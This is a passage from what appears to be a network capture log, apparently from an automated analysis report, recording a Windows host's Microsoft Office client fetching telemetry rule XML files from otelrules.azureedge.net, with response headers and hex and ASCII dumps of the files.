DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:06 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:07 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 38badaf1-c01e-00ad-2128-3da2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032307Z-178bfbc474btvfdfhC1NYCa2en00000005eg00000000admx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:07 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:08 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:08 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032308Z-174c587ffdfx984chC1TEB676g00000003v000000000bqsv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:09 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:08 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:08 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: c06a529d-f01e-0085-0e9a-3b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032308Z-15b8b599d88tr2flhC1TEB5gk4000000041g000000004yd1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:09 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:09 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:09 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: da294107-101e-000b-45e2-3d5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032309Z-178bfbc474brk967hC1NYCfu6000000005700000000078ek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:09 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:09 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:09 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: f26cc31d-e01e-0085-3f0e-3ec311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032309Z-178bfbc474bnwsh4hC1NYC2ubs00000005cg00000000gs5v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:09 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:09 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:09 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032309Z-178bfbc474bxkclvhC1NYC69g4000000057g00000000ggy6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:09 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:10 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:11 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 77142413-201e-000c-6b0a-3d79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032311Z-178bfbc474bp8mkvhC1NYCzqnn000000055g00000000f0re x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:11 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:10 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:11 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 90d87084-c01e-000b-0215-3de255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032311Z-178bfbc474bpscmfhC1NYCfc2c0000000430000000000093 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:11 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:11 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:11 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: a0a35521-601e-0050-2c16-3d2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032311Z-15b8b599d882l6clhC1TEBxd5c00000003t0000000007xss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:11 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:11 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:11 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 26bf21ad-f01e-001f-285c-3d5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032311Z-15b8b599d88hd9g7hC1TEBp75c00000003rg00000000gxvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:11 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:11 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:12 UTC	495	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:11 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 3a3452d3-201e-005d-2420-3eafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032311Z-15b8b599d889fz52hC1TEB59as00000003yg000000000rxv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 03:23:12 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:13 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:13 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: e8d3758b-d01e-0066-2757-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032313Z-15b8b599d88m7pn7hC1TEB4axw00000003v000000000ey37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
